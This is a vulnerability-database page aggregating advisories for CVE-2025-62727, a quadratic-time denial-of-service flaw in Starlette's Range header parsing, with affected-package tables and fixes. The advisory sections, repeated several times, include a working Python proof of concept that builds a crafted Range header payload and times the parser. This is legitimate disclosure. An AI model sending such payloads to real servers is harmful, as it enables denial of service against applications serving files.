CVE-2025-62727
Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2025-36555
7.5
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
EUVD-2025-36555- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7f5h-v6xp-fcq8
7.5
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
- Record
GHSA-7f5h-v6xp-fcq8- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
NVD
7.5
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV
7.5
Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-62727
7.5
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
DEBIAN-CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 9 moreShow less
OSVGHSA-7f5h-v6xp-fcq8
7.5
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
- Record
GHSA-7f5h-v6xp-fcq8- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-407
- Updated
- 2026-11-02
OSVPYSEC-2026-1942
7.5
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
- Record
PYSEC-2026-1942- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2025-62727
7.5
CVE-2025-62727 in rootio-starlette - Patched by Root
Root has patched CVE-2025-62727 in the rootio-starlette package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-62727
7.5
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
- Record
UBUNTU-CVE-2025-62727- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVMGASA-2026-0327 No score
Updated python-starlette package fixes security vulnerabilities
The updated package fixes security vulnerabilities: Proxy-Authorization header kept across hosts. (CVE-2024-28849) Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse. (CVE-2025-62727) Security restriction bypass via malformed HTTP Host header. (CVE-2026-48710)
- Record
MGASA-2026-0327- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15696-1 No score
python311-starlette-0.49.1-1.1 on GA media
These are all security issues fixed in the python311-starlette-0.49.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15696-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10109-1 No score
python311-sse-starlette-3.2.0-1.1 on GA media
These are all security issues fixed in the python311-sse-starlette-3.2.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10109-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20975-1 No score
Security update for python-starlette
This update for python-starlette fixes the following issues
- CVE-2025-54121: denial-of-service when parsing a multi-part form with large files (bsc#1246855).
- CVE-2025-62727: DoS via Range header merging (bsc#1252805).
- CVE-2026-48710: Missing Host header validation poisons request.url.path, bypassing path-based security checks (bsc#1266369).
- Record
openSUSE-SU-2026:20975-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:22151-1 No score
Security update for python-starlette
This update for python-starlette fixes the following issues
- CVE-2025-54121: denial-of-service when parsing a multi-part form with large files (bsc#1246855).
- CVE-2025-62727: DoS via Range header merging (bsc#1252805).
- CVE-2026-48710: Missing Host header validation poisons request.url.path, bypassing path-based security checks (bsc#1266369).
- Record
SUSE-SU-2026:22151-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
starlettePyPI |
0.39.0 to 0.49.0 | 0.49.1 |
starletteDebian:13 |
before 0.46.1-3+deb13u1, plus listed versions 0.46.1-3 |
0.46.1-3+deb13u1 |
starletteDebian:14 |
before 0.50.0-1, plus listed versions 0.46.1-3 |
0.50.0-1 |
starlettePyPI |
0.39.0 up to 0.49.1, plus listed versions 0.39.10.39.20.40.00.41.00.41.1 Show 18 moreShow less0.41.20.41.30.42.00.43.00.44.00.45.00.45.10.45.20.45.30.46.00.46.10.46.20.47.00.47.10.47.20.47.30.48.00.49.0 |
0.49.1 |
python-starletteMageia:10 From an advisory covering 3 CVEs |
before 0.46.0-3.1.mga10 | 0.46.0-3.1.mga10 |
rootio-starletteRoot:PyPI |
before 0.36.3+root.io.2 | 0.36.3+root.io.20.45.2+root.io.10.47.3+root.io.10.46.2+root.io.10.42.0+root.io.10.41.2+root.io.10.41.3+root.io.10.47.1+root.io.10.48.0+root.io.10.47.2+root.io.10.46.1+root.io.10.45.3+root.io.10.46.0+root.io.10.47.0+root.io.10.47.0+root.io.20.46.2+root.io.20.45.3+root.io.20.45.3+root.io.30.47.0+root.io.30.45.2+root.io.20.46.0+root.io.20.46.2+root.io.30.46.1+root.io.20.48.0+root.io.20.36.3+root.io.30.47.3+root.io.20.47.2+root.io.20.42.0+root.io.20.47.1+root.io.20.41.2+root.io.20.41.3+root.io.20.42.0+root.io.30.41.3+root.io.30.48.0+root.io.30.47.2+root.io.30.46.1+root.io.30.46.2+root.io.40.47.1+root.io.30.47.3+root.io.30.41.3+aikido.40.42.0+aikido.40.46.1+aikido.40.47.2+aikido.40.45.3+aikido.120.46.0+aikido.30.47.1+aikido.40.47.3+aikido.40.46.2+aikido.50.47.0+aikido.40.48.0+aikido.40.45.2+aikido.30.42.0+root.io.50.49.0+root.io.30.41.3+root.io.50.41.3+root.io.60.46.2+root.io.60.45.3+root.io.130.48.0+root.io.50.47.3+root.io.50.45.3+root.io.140.41.3+root.io.70.46.2+root.io.70.45.3+root.io.15 |
starletteRoot:PyPI |
before 0.45.3+aikido.10 | 0.45.3+aikido.100.45.3+aikido.110.45.3+aikido.50.45.3+aikido.60.45.3+aikido.70.45.3+aikido.80.45.3+aikido.90.47.0+aikido.30.45.2+aikido.20.46.0+aikido.20.46.2+aikido.30.46.1+aikido.20.48.0+aikido.20.36.3+aikido.30.47.3+aikido.20.47.2+aikido.20.42.0+aikido.20.47.1+aikido.20.41.2+aikido.20.41.3+aikido.20.42.0+aikido.30.41.3+aikido.30.48.0+aikido.30.47.2+aikido.30.47.3+aikido.30.46.2+aikido.40.47.1+aikido.30.46.1+aikido.30.41.3+aikido.50.41.3+aikido.6 |
python-starletteSUSE:Linux Enterprise Server 16.0 From an advisory covering 3 CVEs |
before 0.41.3-160000.3.1 | 0.41.3-160000.3.1 |
python-starletteSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 3 CVEs |
before 0.41.3-160000.3.1 | 0.41.3-160000.3.1 |
starletteUbuntu:22.04:LTS |
All versions, plus listed versions 0.14.1-10.16.0-10.18.0-1 |
None known |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
starletteUbuntu:24.04:LTS |
All versions, plus listed versions 0.30.0-10.31.1-1 |
None known |
starletteUbuntu:25.10 |
All versions, plus listed versions 0.46.1-20.46.1-3 |
None known |
starletteUbuntu:26.10 |
All versions, plus listed versions 0.50.0-11.1.0-11.3.1-11.7.0-2 |
None known |
starletteUbuntu:26.04:LTS |
All versions, plus listed versions 0.46.1-30.50.0-1 |
None known |
python-starletteopenSUSE:Tumbleweed |
before 0.49.1-1.1 | 0.49.1-1.1 |
python-sse-starletteopenSUSE:Tumbleweed |
before 3.2.0-1.1 | 3.2.0-1.1 |
python-starletteopenSUSE:Leap 16.0 From an advisory covering 3 CVEs |
before 0.41.3-160000.3.1 | 0.41.3-160000.3.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | ch4n3-yoon/CVE-2025-62727-Demo | 2025-10-28 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-62727 is a high vulnerability (CVSS 7.5) in Encode Starlette, published October 28, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.80%, the 56th percentile. Fixed in starlette 0.49.1.
References
github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8
github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5
github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c
github.com/Kludex/starlette/releases/tag/0.49.1
nvd.nist.gov/vuln/detail/CVE-2025-62727
github.com/advisories/GHSA-7f5h-v6xp-fcq8
Show 19 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62727.json
security-tracker.debian.org/tracker/CVE-2025-62727
github.com/Kludex/starlette
advisories.mageia.org/MGASA-2026-0327.html
bugs.mageia.org/show_bug.cgi?id=35637
lists.fedoraproject.org/archives/list/[email protected]/message/HWLLKAJQCNBN46LPLDAYBM2FU65WBX72
lists.debian.org/debian-security-announce/2026/msg00213.html
github.com/follow-redirects/follow-redirects/security/advisories/GHSA-cxjh-pqwp-8mfp
lists.opensuse.org/archives/list/[email protected]/message/FET4KWO46IN64G35ZF7HGJJBIM4OF3YC
pypi.org/project/starlette
suse.com/support/update/announcement/2026/suse-su-202622151-1
bugzilla.suse.com/1246855
bugzilla.suse.com/1252805
bugzilla.suse.com/1266369
suse.com/security/cve/CVE-2025-54121
suse.com/security/cve/CVE-2025-62727
suse.com/security/cve/CVE-2026-48710
ubuntu.com/security/CVE-2025-62727
cve.org/CVERecord?id=CVE-2025-62727